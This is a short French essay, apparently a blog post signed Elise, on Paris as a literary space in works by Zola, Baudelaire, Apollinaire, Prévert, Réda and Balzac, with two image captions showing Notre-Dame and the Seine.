Paris est une ville pétrie de littérature et l’on croit voir surgir à chaque recoin de rue un personnage. De nombreuses fois, j’ai cru apercevoir dans un café l’ombre de Prévert. A d’autres moments, marchant derrière une femme, je repensai au poème « A une passante » de Baudelaire.

La littérature s’est emparée de Paris et de nombreux écrivains ont fait de la cité le décor de leurs œuvres. Parfois hostile, la ville est également un espace propice à la rêverie, un espace de liberté. Chez Zola, Paris semble être une ville malade, contaminée par les humeurs des personnages qui y déambulent, traversent les rues et s’y perdent. Mais, cette vision n’est pas la seule possible et, d’autres auteurs donnent de la capitale une vision heureuse.  Prévert dresse ainsi un portrait fantaisiste et touchant de la cité.

 Paris de par sa grandeur, semble en réalité  renfermer de multiples villes. Elle est un sujet inépuisable et diffère d’une œuvre à l’autre.

Si le Paris du dix-neuvième siècle est un espace qui est en pleine mutation, au vingtième siècle, la ville devient un lieu plus joyeux, propice à la rêverie et à la fête. L’espace urbain est en réalité un miroir des états d’âme des personnages et est le reflet de la société.   Dans son célèbre poème intitulé «  Le pont Mirabeau », Apollinaire fait du pont le spectateur de ses amours mais également, du temps qui s’écoule.  Chez Baudelaire, la ville devient le reflet de sa mélancolie (Le cygne). Baudelaire est dans une attitude contemplative et observe la foule dans laquelle quelques figures se détachent parfois.  Il ne décrit guère la ville mais, en fait un décor de sa poésie. Dans Les ruines de Paris, Jacques Réda quant à lui emmène le lecteur dans une vaste flânerie et l’immerge au sein de l’espace. Les pas du promeneur viennent en réalité répondre à la musique de la ville. En plus de cette musicalité très omniprésente et les nombreuses références à la musique jazz, la ville est chez Réda traversée par des questionnements existentiels.

 

Il s'agit d'une photographie de la cathédrale Notre-Dame.

Les personnages de fiction n’habitent jamais toutefois une ville par hasard. En choisissant des lieux précis, les écrivains disent des choses sur les personnages et leurs aspirations. Les lieux permettent de dresser les portraits des individus. Balzac dans La Comédie Humaine fait évoluer Rastignac dans des lieux parisiens à l’image de ses ambitions. En effet, originaire d’Angoulême, le jeune homme arrive dans la capitale et y fréquente la bonne société.

 

Cette photographie montre une vue de Paris. On voit dessus au loin Notre-Dame de Paris et la Seine en premier plan.

La ville est  un espace infini  qui se renouvelle sans cesse d’une œuvre à l’autre. Les écrivains essayent de faire entendre la voix de l’espace et sa singularité. L’espace urbain permet en réalité de se rencontrer et d’interroger son propre rapport à l’espace urbain et sa propre identité.  La ville nous met dans une position de sujet, d’individu.

Ainsi, lorsque le lecteur n’est pas en position de sujet perdu au milieu de la foule, il peut s’interroger sur son propre rapport aux lieux. La ville est un lieu souvent labyrinthique au sein duquel les personnages s’égarent et peuvent se retrouver. Elle est comme la littérature un espace dans lequel on explore sa propre identité.

            Elise

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